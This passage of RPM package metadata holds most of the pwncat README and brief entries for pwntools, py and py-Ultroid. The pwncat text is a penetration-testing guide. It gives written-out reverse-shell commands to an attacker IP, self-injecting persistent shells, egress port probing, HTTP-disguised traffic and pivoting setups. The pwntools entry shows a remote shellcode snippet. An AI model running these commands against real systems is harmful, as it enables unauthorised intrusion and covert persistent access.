                          sending an initial packet to the server to validate if
                          it is actually connected.
                          By default, UDP will simply issue a connect and is not
                          aware if it is really connected or not.
                          The default connect packet to be send is '\0', you
                          can change this with --udp-sconnect-word.
    --udp-sconnect-word [str]
                          Connect mode (UDP only):
                          Change the the data to be send for UDP stateful connect
                          behaviour. Note you can also omit the string to send an
                          empty packet (EOF), but be aware that some servers such
                          as netcat will instantly quit upon receive of an EOF
                          packet.
                          The default is to send a null byte sting: '\0'.
  misc arguments:
    -h, --help            Show this help message and exit
    -V, --version         Show version information and exit
  ```
  </details>


  <!--
  <details>
    <summary>Click to expand</summary>
  -->
  > This is a universal advice and not only works with `pwncat`, but with all other common tools.
  When connected with a reverse or bind shell you'll notice that no interactive commands will work and
  hitting <kbd>Ctrl</kbd>+<kbd>c</kbd> will terminate your session.
  To fix this, you'll need to attach it to a TTY (make it interactive). Here's how:
  ```bash
  python3 -c 'import pty; pty.spawn("/bin/bash")'
  ```
  <kbd>Ctrl</kbd>+<kbd>z</kbd>
  ```bash

  stty size

  stty raw -echo
  fg

  stty raw -echo; fg
  reset
  export SHELL=bash
  export TERM=xterm
  stty rows <num> columns <cols>   # <num> and <cols> values found above by 'stty size'
  ```
  > <sup>[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

  Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a `connect()` method as TCP does.
  In TCP mode, the server will know the client IP and port, once the client issues a `connects()`.
  In UDP mode, as there is no `connect()`, the client simply sends data to an address/port without having to connect first.
  Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first.
  The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.
  `pwncat` emulates the TCP `connect()` by having the client send a null byte to the server once or periodically via `--ping-intvl` or `--ping-init`.
  ```bash




  pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444
  ```

  Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.
  In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.
  ```bash





  pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
  ```

  Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.
  In other words, the client will keep sending null bytes to the server to constantly announce itself.
  ```bash





  pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444
  ```

  Let's imagine you are able to create a very simple and unstable reverse shell from the target to
  your machine, such as a web shell via a PHP script or similar.
  Knowing, that this will not persist very long or might break due to unstable network connection,
  you could use `pwncat` to hook into this connection and deploy itself unbreakably on the target - fully automated.
  <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s"><img width="400" style="width:400px;" src="docs/img/video01.png" /></a>
  > [View on Youtube](https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s)
  All you have to do, is use `pwncat` as your local listener and start it with the `--self-inject`
  switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:
  1. Enumerate Python availability and versions on the target
  2. Dump itself base64 encoded onto the target
  3. Use the target's Python to decode itself.
  4. Use the target's Python to start itself as an unbreakable reverse shell back to you
  Once this is done, you can keep using the current connection or simply abandon it and start a new
  listener (yes, you don't need to start the listener before starting the reverse shell) to have
  the new `pwncat` client connect to you. The new listener also doesn't have to be `pwncat`, it can
  also be `netcat` or `ncat`.
  The **`--self-inject`** switch:
  ```bash
  pwncat -l 4444 --self-inject <cmd>:<host>:<port>
  ```
  * `<cmd>`: This is the command to start on the target (like `-e`/`--exec`, so you want it to be `cmd.exe` or `/bin/bash`)
  * `<host>`: This is for your local machine, the IP address to where the reverse shell shall connect back to
  * `<port>`: This is for your local machine, the port on which the reverse shell shall connect back to
  So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port `4444`:
  ```bash

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
  ```
  You will then see something like this:
  ```
  [PWNCAT CnC] Probing for: /bin/python
  [PWNCAT CnC] Probing for: /bin/python2
  [PWNCAT CnC] Probing for: /bin/python2.7
  [PWNCAT CnC] Probing for: /bin/python3
  [PWNCAT CnC] Probing for: /bin/python3.5
  [PWNCAT CnC] Probing for: /bin/python3.6
  [PWNCAT CnC] Probing for: /bin/python3.7
  [PWNCAT CnC] Probing for: /bin/python3.8
  [PWNCAT CnC] Probing for: /usr/bin/python
  [PWNCAT CnC] Potential path: /usr/bin/python
  [PWNCAT CnC] Found valid Python2 version: 2.7.16
  [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
  [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
  [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
  [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
  ```
  And you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first).
  ```bash

  nc -lp 4445

  ncat -l 4445

  pwncat -l 4445
  ```

  Instead of just asking for a single self-injecting reverse shell, you can instruct `pwncat` to spawn as many unbreakable reverse shells connecting back to you as you desire.
  <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2"><img width="400" style="width:400px;" src="docs/img/video02.png" /></a>
  > [View on Youtube](https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2")
  The `--self-inject` argument allows you to not only define a single port, but also
  1. A comma separated list of ports: `4445,4446,4447,4448`
  2. A range definition: `4446-4448`
  3. An increment: `4445+3`
  In order to spawn 4 reverse shells you would start your listener just as described above, but instead
  of a single port, you define multiple:
  ```bash

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3
  ```
  Each of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target.
  Once the client connects, the output will look something like this:
  ```
  [PWNCAT CnC] Probing for: /bin/python
  [PWNCAT CnC] Probing for: /bin/python2
  [PWNCAT CnC] Probing for: /bin/python2.7
  [PWNCAT CnC] Probing for: /bin/python3
  [PWNCAT CnC] Probing for: /bin/python3.5
  [PWNCAT CnC] Probing for: /bin/python3.6
  [PWNCAT CnC] Probing for: /bin/python3.7
  [PWNCAT CnC] Probing for: /bin/python3.8
  [PWNCAT CnC] Probing for: /usr/bin/python
  [PWNCAT CnC] Potential path: /usr/bin/python
  [PWNCAT CnC] Found valid Python2 version: 2.7.16
  [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
  [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
  [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
  [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &
  ```

  > **Note:** Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.

  If you feel like, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot.
  Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file.
  You can also manually disable colored logging for terminal outputs via the `--color` switch.
  ```bash
  pwncat -vvvv -l 4444
  ```
  You will see (among all the gibberish) a TRACE message:
  ```bash
  2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
  2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
  2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
  2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
  ```
  As soon as you saw this on the listener, you can issue commands to the client.
  All the debug messages are also not necessary, so you can safely <kbd>Ctrl</kbd>+<kbd>c</kbd> terminate
  your server and start it again in silent mode:
  ```bash
  pwncat -l 4444
  ```
  Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.
  Having no info messages at all, is also sometimes not desirable. You might want to know what is going
  on behind the scences or? Safely <kbd>Ctrl</kbd>+<kbd>c</kbd> terminate your server and redirect
  the notifications to a logfile:
  ```bash
  pwncat -l -vvv 4444 2> comm.txt
  ```
  Now all you'll see in your terminal session are the actual command inputs and outputs.
  If you want to see what's going on behind the scene, open a second terminal window and tail
  the `comm.txt` file:
  ```bash

  tail -fn50 comm.txt
  2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
  2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
  2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
  2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
  ```

  Another useful feature is to display currently configured socket and network settings.
  Use the `--info` switch with either `socket`, `ipv4`, `ipv6`, `tcp` or `all` to display all
  available settings.
  **Note:** In order to view those settings, you must at least be at `INFO` log level (`-vv`).
  An example output in IPv4/TCP mode without any custom settings is shown below:
  ```
  INFO: [bind-sock] Sock: SO_DEBUG: 0
  INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
  INFO: [bind-sock] Sock: SO_REUSEADDR: 1
  INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
  INFO: [bind-sock] Sock: SO_DONTROUTE: 0
  INFO: [bind-sock] Sock: SO_BROADCAST: 0
  INFO: [bind-sock] Sock: SO_LINGER: 0
  INFO: [bind-sock] Sock: SO_OOBINLINE: 0
  INFO: [bind-sock] Sock: SO_REUSEPORT: 0
  INFO: [bind-sock] Sock: SO_SNDBUF: 16384
  INFO: [bind-sock] Sock: SO_RCVBUF: 131072
  INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
  INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
  INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
  INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
  INFO: [bind-sock] Sock: SO_ERROR: 0
  INFO: [bind-sock] Sock: SO_TYPE: 1
  INFO: [bind-sock] Sock: SO_PASSCRED: 0
  INFO: [bind-sock] Sock: SO_PEERCRED: 0
  INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
  INFO: [bind-sock] Sock: SO_PRIORITY: 0
  INFO: [bind-sock] Sock: SO_MARK: 0
  INFO: [bind-sock] IPv4: IP_OPTIONS: 0
  INFO: [bind-sock] IPv4: IP_HDRINCL: 0
  INFO: [bind-sock] IPv4: IP_TOS: 0
  INFO: [bind-sock] IPv4: IP_TTL: 64
  INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
  INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
  INFO: [bind-sock] IPv4: IP_RETOPTS: 0
  INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
  INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
  INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
  INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
  INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
  INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
  INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
  INFO: [bind-sock] TCP: TCP_NODELAY: 0
  INFO: [bind-sock] TCP: TCP_MAXSEG: 536
  INFO: [bind-sock] TCP: TCP_CORK: 0
  INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
  INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
  INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
  INFO: [bind-sock] TCP: TCP_SYNCNT: 6
  INFO: [bind-sock] TCP: TCP_LINGER2: 60
  INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
  INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
  INFO: [bind-sock] TCP: TCP_INFO: 10
  INFO: [bind-sock] TCP: TCP_QUICKACK: 1
  INFO: [bind-sock] TCP: TCP_FASTOPEN: 0
  ```
  <!--
  </details>
  -->

  <!--
  <details>
    <summary>Click to expand</summary>
  -->

  **Scenario**
  1. Alice can be reached from the Outside (TCP/UDP)
  2. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     TCP     +-----------------+     TCP     +-----------------+
       | The cat         | -----|----> | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat 72.0.0.1 3306     |      pwncat \                 |
                                |        -L 72.0.0.1:3306 \     |
                                |         10.0.0.1 3306         |
  ```

  **Scenario**
  1. Alice can be reached from the Outside (but only via UDP)
  2. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     UDP     +-----------------+     TCP     +-----------------+
       | The cat         | -----|----> | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat -L       |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                                |        -L 72.0.0.1:3306 \     |
                                |        10.0.0.1 3306          |
  ```

  **Scenario**
  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (TCP/UDP)
  3. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     TCP     +-----------------+     TCP     +-----------------+
       | The cat         | <----|----- | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -l 4444           |      pwncat --reconn \        |
                                |        -R 56.0.0.1:4444 \     |
                                |        10.0.0.1 3306          |
  ```

  **Scenario**
  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (UDP: DNS only)
  3. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     UDP     +-----------------+     TCP     +-----------------+
       | The cat         | <----|----- | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -u -l 53          |      pwncat -u --reconn \     |
                                |        -R 56.0.0.1:4444 \     |
                                |        10.0.0.1 3306          |
  ```
  <!--
  </details>
  -->

  If you have no idea what outbound ports are allowed from the target machine, you can instruct
  the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.
  ```bash





  pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
  ```
  Once the client is up and running, either use raw sockets to check for inbound traffic or use
  something like Wireshark or tcpdump to find out from where the client is able to connect back to you,
  If you found one or more ports that the client is able to connect to you,
  simply start your listener locally and wait for it to come back.
  ```bash
  pwncat -l <ip> <port>
  ```
  If the client connects to you, you will have a working reverse shell. If you stop your local
  listening server accidentally or on purpose, the client will probe ports again until it connects successfully.
  In order to kill the reverse shell client, you can use `--safe-word` (when starting the client).
  If none of this succeeds, you can add other measures such as using UDP or even wrapping your
  packets into higher level protocols, such as HTTP or others. See [PSE](pse) or examples below
  for how to transform your traffic.

  `pwncat` offers a Python based scripting engine to inject your custom code before sending and
  after receiving data.

  You will simply need to provide a Python file with the following entrypoint function:
  ```python
  def transform(data, pse):
      
      return data[::-1]
  ```
  Both, the function name must be named `transform` and the parsed arguments must be named `data` and `pse`.
  Other than that you can add as much code as you like. Each instance of `pwncat` can take two scripts:
  1. `--script-send`: script will be applied before sending
  2. `--script-recv`: script will be applied after receiving
  See [here](pse) for API and more details

  > PSE: [asym-enc](pse/asym-enc) source code
  This will encrypt your traffic asymmetrically. It is just a very basic [ROT13](https://en.wikipedia.org/wiki/ROT13) implementation with different shift lengths on both sides to *emulate* asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.
  ```bash

  pwncat -vvvv -l localhost 4444 \
    --script-send pse/asym-enc/pse-asym_enc-server_send.py \
    --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
  ```
  ```bash

  pwncat -vvvv localhost 4444 \
    --script-send pse/asym-enc/pse-asym_enc-client_send.py \
    --script-recv pse/asym-enc/pse-asym_enc-client_recv.py
  ```

  > PSE: [http-post](pse/http-post) source code
  This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.
  ```bash

  pwncat -vvvv -l localhost 4444 \
    --script-send pse/http-post/pse-http_post-pack.py \
    --script-recv pse/http-post/pse-http_post-unpack.py
  ```
  ```bash

  pwncat -vvvv localhost 4444 \
    --script-send pse/http-post/pse-http_post-pack.py \
    --script-recv pse/http-post/pse-http_post-unpack.py
  ```


  ```bash
  $ sudo netstat -tlpn
  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address     State
  tcp        0      0 127.0.0.1:631           0.0.0.0:*           LISTEN
  tcp        0      0 127.0.0.1:25            0.0.0.0:*           LISTEN
  tcp        0      0 127.0.0.1:4444          0.0.0.0:*           LISTEN
  tcp        0      0 0.0.0.0:902             0.0.0.0:*           LISTEN
  tcp6       0      0 ::1:631                 :::*                LISTEN
  tcp6       0      0 ::1:25                  :::*                LISTEN
  tcp6       0      0 ::1:4444                :::*                LISTEN
  tcp6       0      0 :::1053                 :::*                LISTEN
  tcp6       0      0 :::902                  :::*                LISTEN
  ```

  The following UDP ports are exposing:
  ```bash
  $ sudo netstat -ulpn
  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address
  udp        0      0 0.0.0.0:631             0.0.0.0:*
  udp        0      0 0.0.0.0:5353            0.0.0.0:*
  udp        0      0 0.0.0.0:39856           0.0.0.0:*
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  udp6       0      0 :::1053                 :::*
  udp6       0      0 :::5353                 :::*
  udp6       0      0 :::57728                :::*
  ```

  ```bash
  $ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU
  Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST
  Warning: 127.0.0.1 giving up on port because retransmission cap hit (2).
  Nmap scan report for localhost (127.0.0.1)
  Host is up (0.000035s latency).
  Other addresses for localhost (not scanned): ::1
  Not shown: 65529 closed ports
  PORT      STATE         SERVICE
  68/udp    open|filtered dhcpc
  631/udp   open|filtered ipp
  1053/udp  open|filtered remote-as
  5353/udp  open|filtered zeroconf
  39856/udp open|filtered unknown
  40488/udp open|filtered unknown
  Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds
  real    2m52.446s
  user    0m0.844s
  sys     0m2.571s
  ```

  ```bash
  $ time nc  -z localhost 1-65535  -u -4 -v
  Connection to localhost 68 port [udp/bootpc] succeeded!
  Connection to localhost 631 port [udp/ipp] succeeded!
  Connection to localhost 1053 port [udp/*] succeeded!
  Connection to localhost 5353 port [udp/mdns] succeeded!
  Connection to localhost 39856 port [udp/*] succeeded!
  real    0m18.734s
  user    0m1.004s
  sys     0m2.634s
  ```

  ```bash
  $ time pwncat -z localhost 1-65535 -u -4
  Scanning 65535 ports
  [+]    68/UDP open   (IPv4)
  [+]   631/UDP open   (IPv4)
  [+]  1053/UDP open   (IPv4)
  [+]  5353/UDP open   (IPv4)
  [+] 39856/UDP open   (IPv4)
  real    0m7.309s
  user    0m6.465s
  sys     0m4.794s
  ```

  **See complete FAQ here:** https://docs.pwncat.org/en/latest/faq.html
  **Q**: Is `pwncat` compatible with `netcat`?
  **A**: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode.
  You can even mix `pwncat` with `netcat`, `ncat` or similar tools.
  **Q**: Does it work on X?
  **A**: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see [integration tests](https://github.com/cytopia/pwncat/actions)).
  **Q**: I found a bug / I have to suggest a new feature! What can I do?
  **A**: For bug reports or enhancements, please open an issue [here](https://github.com/cytopia/pwncat/issues).
  **Q**: How can I support this project?
  **A**: Thanks for asking! First of all, star this project to give me some feedback and see [CONTRIBUTING.md](CONTRIBUTING.md) for details.

  <table>
   <thead>
    <tr>
     <th>Type</th>
     <th>Artist</th>
     <th>Image</th>
     <th>License</th>
    </tr>
   </thead>
   <tbody>
    <tr>
     <td>Logo</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/logo.png"><img src="art/logo.png" style="height:128px;" height="128" alt="pwncat logo" title="pwncat logo" /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
    <tr>
     <td>Banner 1</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/banner-1.png"><img src="art/banner-1.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner"  /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
    <tr>
     <td>Banner 2</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/banner-2.png"><img src="art/banner-2.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
   </tbody>
  </table>

  Below is a list of sec tools and docs I am maintaining.
  | Name                 | Category             | Language   | Description |
  |----------------------|----------------------|------------|-------------|
  | **[offsec]**         | Documentation        | Markdown   | Offsec checklist, tools and examples |
  | **[header-fuzz]**    | Enumeration          | Bash       | Fuzz HTTP headers |
  | **[smtp-user-enum]** | Enumeration          | Python 2+3 | SMTP users enumerator |
  | **[urlbuster]**      | Enumeration          | Python 2+3 | Mutable web directory fuzzer |
  | **[pwncat]**         | Pivoting             | Python 2+3 | Cross-platform netcat on steroids |
  | **[kusanagi]**       | Payload Generator    | Python 3   | Bind- and Reverse shell payload generator |
  | **[badchars]**       | Reverse Engineering  | Python 2+3 | Badchar generator |
  | **[fuzza]**          | Reverse Engineering  | Python 2+3 | TCP fuzzing tool |
  | **[docker-dvwa]**    | Playground           | PHP        | DVWA with local priv esc challenges |
  [offsec]: https://github.com/cytopia/offsec
  [header-fuzz]: https://github.com/cytopia/header-fuzz
  [smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
  [urlbuster]: https://github.com/cytopia/urlbuster
  [pwncat]: https://github.com/cytopia/pwncat
  [kusanagi]: https://github.com/cytopia/kusanagi
  [badchars]: https://github.com/cytopia/badchars
  [fuzza]: https://github.com/cytopia/fuzza
  [docker-dvwa]: https://github.com/cytopia/docker-dvwa

  See **[Contributing guidelines](CONTRIBUTING.md)** to help to improve this project.

  This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

  **[MIT License](LICENSE.txt)**
  Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**


pkgId: 2b17d509c98f4eff1f970a58fcb76e968a58739998d30a3b5d961c0db3cd28e5
name: python-pwntools
arch: src
version: 4.9.0
epoch: 0
release: 1
summary: Pwntools CTF framework and exploit development library.
url: https://pwntools.com
rpm_license: Mostly MIT, some GPL/BSD, see LICENSE-pwntools.txt
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-03575dae-53f4-4ebf-81e3-686ce63b565b
location_href: 00004618-python-pwntools/python-pwntools-4.9.0-1.src.rpm
checksum_type: sha256
description:
     pwntools logo
  |PyPI| |Docs| |Travis| |GitHub Workflow Status (branch)| |Coveralls|
  |MIT License| |Packaging status| |Discord| |Twitter|
  Pwntools is a CTF framework and exploit development library. Written in
  Python, it is designed for rapid prototyping and development, and
  intended to make exploit writing as simple as possible.
     from pwn import *
     context(arch = 'i386', os = 'linux')
     r = remote('exploitme.example.com', 31337)
     
     r.send(asm(shellcraft.sh()))
     r.interactive()


pkgId: 34012c60d924baac130e717c0aab2ba4c1e2a5f0e64529bf7aa6ed950b8b51ea
name: python-py
arch: src
version: 1.11.0
epoch: 0
release: 1
summary: library with cross-python path, ini-parsing, io, code, log facilities
url: https://py.readthedocs.io/
rpm_license: MIT license
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b4ffb9c7-5735-467f-9983-ba50d804deb2
location_href: 00008926-python-py/python-py-1.11.0-1.src.rpm
checksum_type: sha256
description:
  .. image:: https://img.shields.io/pypi/v/py.svg
      :target: https://pypi.org/project/py

  .. image:: https://img.shields.io/conda/vn/conda-forge/py.svg
      :target: https://anaconda.org/conda-forge/py

  .. image:: https://img.shields.io/pypi/pyversions/py.svg
    :target: https://pypi.org/project/py

  .. image:: https://github.com/pytest-dev/py/workflows/build/badge.svg
    :target: https://github.com/pytest-dev/py/actions


  **NOTE**: this library is in **maintenance mode** and should not be used in new code.

  The py lib is a Python development support library featuring
  the following tools and modules:

  * ``py.path``:  uniform local and svn path objects  -> please use pathlib/pathlib2 instead
  * ``py.apipkg``:  explicit API control and lazy-importing -> please use the standalone package instead
  * ``py.iniconfig``:  easy parsing of .ini files -> please use the standalone package instead
  * ``py.code``: dynamic code generation and introspection (deprecated, moved to ``pytest`` as a implementation detail).

  **NOTE**: prior to the 1.4 release this distribution used to
  contain py.test which is now its own package, see https://docs.pytest.org

  For questions and more information please visit https://py.readthedocs.io

  Bugs and issues: https://github.com/pytest-dev/py

  Authors: Holger Krekel and others, 2004-2017


pkgId: 239161dc72e75b1229f5a94d336e507367ef2d87592b3f9d904ec1d9cee82cfa
name: python-py-Ultroid
arch: src
version: 2022.6.6
epoch: 0
release: 1
summary: A Secure and Powerful Python-Telethon Based Library For Ultroid Userbot.
url: https://github.com/TeamUltroid/pyUltroid
rpm_license: GNU AFFERO GENERAL PUBLIC LICENSE (v3)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9f106d18-f8a8-421a-b2ad-c451c0a3b6a7
location_href: 00011138-python-py-ultroid/python-py-Ultroid-2022.6.6-1.src.rpm
checksum_type: sha256
description:
  Core library of [The Ultroid](https://github.com/TeamUltroid/Ultroid), a python based telegram userbot.

  [![CodeFactor](https://www.codefactor.io/repository/github/teamultroid/pyultroid/badge)](https://www.codefactor.io/repository/github/teamultroid/pyultroid)
  [![PyPI - Version](https://img.shields.io/pypi/v/py-Ultroid?style=round)](https://pypi.org/project/py-Ultroid)
  [![PyPI - Downloads](https://img.shields.io/pypi/dm/py-Ultroid?label=DOWNLOADS&style=round)](https://pypi.org/project/py-Ultroid)
  [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/TeamUltroid/Ultroid/graphs/commit-activity)
  [![Open Source Love svg2](https://badges.frapsoft.com/os/v2/open-source.svg?v=103)](https://github.com/TeamUltroid/Ultroid)
  [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)


